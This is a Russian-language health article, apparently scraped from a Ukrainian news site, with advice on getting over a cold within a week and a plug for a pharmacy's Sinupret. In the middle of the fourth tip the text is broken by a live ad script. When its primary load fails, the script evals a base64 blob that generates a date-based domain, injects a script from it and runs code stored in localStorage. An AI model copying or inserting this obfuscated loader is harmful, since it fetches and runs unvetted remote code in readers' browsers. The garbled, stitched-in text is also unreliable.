Можно найти много публикаций с интригующим броским заголовком: «Как вылечить простуду за 1 день». Там представлено немало полезных рекомендаций, которые действительно позволяют ускорить выздоровление, но ни одна из них не поставит человека с выраженными симптомами ОРВИ на ноги за 1 сутки.
Избавиться от простуды легкой или средней тяжести реально за 1 неделю, если воздействовать на причину ее возникновения. Что нужно сделать для этого? Читайте далее.
Правила быстрого выздоровления
Возникли первые признаки простуды? В носу появились неприятные ощущения, першит в горле? Позвольте себе отдых, рекомендуем сразу оформить больничный. Не переносите простуду на ногах. Тогда вы сможете избежать осложнений и не нанести удар иммунной системе. При активности организм не может в полную силу бороться с заболеванием, работает на износ, общее состояние резко усугубляется. Наслаждайтесь домашним теплом и комфортом.
Второе правило — несколько раз в день проветривайте помещение, но избегайте переохлаждения. Свежий воздух подавляет распространение болезнетворных микробов и очень важен для человека.
Третье правило — пейте много жидкости. Вода, соки, чаи и компоты способствуют выведению из организма токсинов и бактерий. Добавляйте в горячие напитки лимон, имбирь, мед, малину и другие ягоды, которые богаты витаминами. Теплое обильное питье — это то, что нужно ослабленному организму для восстановления. Также наполните рацион яблоками, хурмой и киви (натуральные источники витамина C). А вот тяжелые и жирные блюда исключите из меню, так как на их переваривание уходит много энергии.
Четвертое правило — не игнорируйте насморк. Промывайте нос солевым раствором минимум 3-5 раз в день. Чтобы облегчить носовое дыхание, снять воспаление и ускорить выведение слизи, можно попросить своего семейного доктора или отоларинголога назначить нужное лечение. Часто достаточно препарата на растительной основе, к примеру, «Синупрета». В «Аптеке 911» можно купить его в форме капель, сиропа и таблеток. Препарат назначают детям от 2 лет и взрослым. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Пятое правило — если сильно болит горло, обратитесь к врачу. Только специалист может правильно поставить диагноз и индивидуально подобрать эффективное лекарство.
Полезно: уточните у семейного врача, стоит ли принимать жаропонижающее, если температура тела не поднялась выше отметки в 38 °C. Как правило, показатели в пределах 37–38 °C свидетельствуют о том, что организм сам борется с болезнью.
Распространенные ошибочные действия
Теперь расскажем о том, чего не стоит делать после появления первых признаков простуды. Чтобы столкнуться с осложнениями и страдать от длительного течения ОРВИ, достаточно допустить следующие ошибки:
переносить заболевание на ногах, ходить на работу и бывать в общественных местах. У организма не останется сил на борьбу с простудой, победа будет за вирусом или бактериями, а окружающие люди со слабым иммунитетом станут друзьями по несчастью;пить жаропонижающее при малейшем повышении температуры без рекомендации врача;ждать, пока симптомы простуды исчезнут самостоятельно. Обильное питье и промывание носа — необходимый минимум;не принимать душ. Обязательно очищайте кожу и волосы от болезнетворных микроорганизмов;игнорировать врачебную помощь при ухудшении самочувствия. Иногда консультация специалиста и обследование крайне необходимы, как и назначения доктора.
Следуйте перечисленным советам и не допускайте ошибок большинства украинцев, чтобы забыть о симптомах простуды через неделю после их появления. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/bystroe-effektivnoe-i-bezopasnoe-lechenie-prostudy-eto-ne-mif/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
